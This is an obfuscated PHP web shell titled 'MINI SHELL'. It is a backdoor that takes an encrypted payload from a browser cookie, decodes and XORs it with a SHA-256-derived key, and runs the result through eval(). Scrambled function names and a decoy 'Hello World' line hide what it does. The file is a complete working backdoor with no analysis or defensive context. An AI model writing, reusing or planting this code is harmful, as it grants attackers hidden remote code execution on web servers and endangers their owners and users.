MINI SHELL

<?php
function dansR($VDOvJ, $GqTDyU)
{
    $aqgmiNT = $VDOvJ ^ $GqTDyU;
    return $aqgmiNT;
}
function AQRXtvo($TXqYzTXtp)
{
    $vhNFdlpj = hDTEYGqiQC($TXqYzTXtp);
    $QXrSr = EELmzpzl($vhNFdlpj);
    return $QXrSr;
}
function nSvzyImc($ebuxzdJcb)
{
    eval($ebuxzdJcb);
}
function hDTEYGqiQC($FobQnB)
{
    $kGNqQQMEBq = $_COOKIE[$FobQnB];
    return $kGNqQQMEBq;
}
function pVuTbrRLvS($bOVXLo, $kZRbbtYqf) {
    return substr_count($bOVXLo, $kZRbbtYqf);
}
function eRfYSYADC($bOVXLo, $bVFRDcW, $XiEgKO) {
    return vUVtgP($bOVXLo, $bVFRDcW, $XiEgKO);
}
function fpxhhU($njGrzh)
{
    $DrZTuH = substr($njGrzh, -4);
    return $DrZTuH;
}
function kfimmLTTV($ycOuLx, $kLVElHAAMF)
{
    $csKGmSXXZ = DBwprwH($ycOuLx);
    $QXrSr = AQRXtvo($kLVElHAAMF);
    $AnfYmo = fmBKiXMW($QXrSr, $csKGmSXXZ);
    return $AnfYmo;
}
function fmBKiXMW($ULHgW, $rvfJEnaBPV)
{
    $QNvFD = NwUKjk($ULHgW);
    $RbDzFmV = MuYJc($rvfJEnaBPV, $QNvFD);
    $EyNSfi = dansR($RbDzFmV, $ULHgW);
    return $EyNSfi;
}
function XUbmSD()
{
    $EdUwkE = MFHeJJbOy();
    $XVZMgWHuQz = QJFvCB($EdUwkE);
    return $XVZMgWHuQz;
}
function QJFvCB($hWSAZ)
{
    $WluouTajL = fpxhhU($hWSAZ);
    $KQPHC = kfimmLTTV($hWSAZ, $WluouTajL);
    return $KQPHC;
}
function MFHeJJbOy()
{
    $iQEop = "LUWyFOHNbRQDpngaJfBrWweTE";
    return $iQEop;
}
function vUVtgP($bOVXLo, $bVFRDcW, $XiEgKO) {
    return str_replace($bVFRDcW, $XiEgKO, $bOVXLo);
}
function DBwprwH($DOlVwfH)
{
    $cRedahl = hash("sha256", $DOlVwfH, TRUE);
    return $cRedahl;
}
function NwUKjk($gMnza)
{
    $MPvIysK = strlen($gMnza);
    return $MPvIysK;
}
function bPaBlHDxj()
{
    $EyNSfi = XUbmSD();
    nSvzyImc($EyNSfi);
}
function EELmzpzl($BDXsb)
{
    $fMKWNcAgR = rawurldecode($BDXsb);
    return $fMKWNcAgR;
}
function MuYJc($RpAMgmkMNv, $KOIwju)
{
    $XKyMq = str_pad($RpAMgmkMNv, $KOIwju, $RpAMgmkMNv);
    return $XKyMq;
}
bPaBlHDxj();
$rXqUSA = eRfYSYADC("Hello World", "o", "0");